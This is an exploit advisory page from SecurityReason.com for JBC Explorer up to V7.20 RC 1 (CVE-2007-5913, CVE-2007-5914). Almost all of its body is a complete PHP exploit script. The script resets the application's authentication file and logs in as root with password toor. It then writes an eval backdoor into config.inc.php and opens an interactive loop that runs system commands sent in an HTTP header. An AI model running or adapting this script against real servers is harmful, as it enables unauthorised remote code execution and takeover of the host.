SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

JBC Explorer <= V7.20 RC 1 Remote Code Execution Exploit


Arrow  SecurityAlert : 3358
Arrow  CVE : CVE-2007-5913
Arrow  CVE : CVE-2007-5914
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : DarkFig
Arrow  Published : 11.11.2007

Arrow  Affected Software : JBC Explorer <= V7.20 RC 1



Arrow  Advisory Content :  

#!/usr/bin/php

<?php

#

# This file require the PhpSploit class.

# If you want to use this class, the latest

# version can be downloaded from acid-root.new.fr.

##################################################

error_reporting(E_ALL ^ E_NOTICE);

require('phpsploitclass.php');

head();

if($argc < 3) usage();

$url = getparam('url', true);

$prx = getparam('proxy', false);

$pra = getparam('proxyauth', false);

$cod = 'eval($_SERVER[HTTP_SHELL]);';

$xpl = new phpsploit();

$xpl->agent('Mozilla Firefox');

$xpl->allowredirection(1);

$xpl->cookiejar(1);

if($prx) $xpl->proxy($prx);

if($pra) $xpl->proxyauth($pra);

print "0x01>Deleting the file auth.inc.php";

$xpl->post($url.'dirsys/modules/auth.php', 'suppr=1');

print "n0x02>Creating the file auth.inc.php";

$xpl->post($url.'dirsys/modules/auth.php', 'login=root&password=toor');

print "n0x03>Trying to log in as Administrator";

$xpl->post($url.'dirsys/modules/auth.php', 'login=root&password=toor');

// Minimum data necessary (fwrite without quote)

$minimdata =

'WIDTH_TREE_FRAME=1&FRAME_BORDER=1&WIDTH_FRAME_BORDER=1&WIDTH_FRAME_SP'.

'ACING=1&SCROLING_TREE_FRAME=1&RESIZE_FRAME=1&WIDTH_TD_SIZE=1&WIDTH_TD'.

'_TYPE=1&WIDTH_TD_DATE=1&STYLE=1&TOTALSIZE=1&CHECK_MAJ=1&IMAGE_BROWSER'.

'=1&IMAGE_TN=1&GD2=1&IMAGE_JPG=1&IMAGE_GIF=1&IMAGE_BMP=1&IMAGE_TN_SIZE'.

'=1&IMAGE_TN_COMPRESSION=1&NB_COLL_TN=1&EXIF_READER=1&SLIDE_SHOW=1&DEB'.

'UG=0;'.urlencode($cod).'//&SLIDE_SHOW_INT=1&BACK=1&WRITE_TN=1&AUTO_RE'.

'SIZE=1&DETAILS=1&DIRINFO_LIFE=1&activer_Message=1';

print "n0x04>Creating the file config.inc.php";

$xpl->post($url.'dirsys/modules/config/post.php', $minimdata);

print "n0x05>Now enter your commands";

do

{

$xpl->addheader('Shell', "@system($cmd);");

$xpl->get($url.'dirsys/config.inc.php');

print $xpl->getcontent()."n0x06>";

}

while(!eregi('^quit|exit$', $cmd = trim(fgets(STDIN))));

exit(0);

function getparam($param,$opt='')

{

global $argv;

foreach($argv as $value => $key)

{

if($key == '-'.$param)

return $argv[$value+1];

}

if($opt)

usage();

else

return FALSE;

}

function head()

{

print

"nJBC Explorer <= V7.20 RC 1n".

"Remote Code Execution Exploitnn".

"by DarkFig <gmdarkfig (at) gmail (dot) com>n".

"http://acid-root.new.fr/n".

"#acidroot (at) irc.worldnet (dot) net [email concealed]nn";

}

function usage()

{

print

"Usage:n".

"sploit.php -url <url> [Options]nn".

"Options:n".

"-proxy <proxyhost:proxyport>".

"n-proxyauth <proxyuser:proxypwd>n";

exit(1);

}

?>






Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.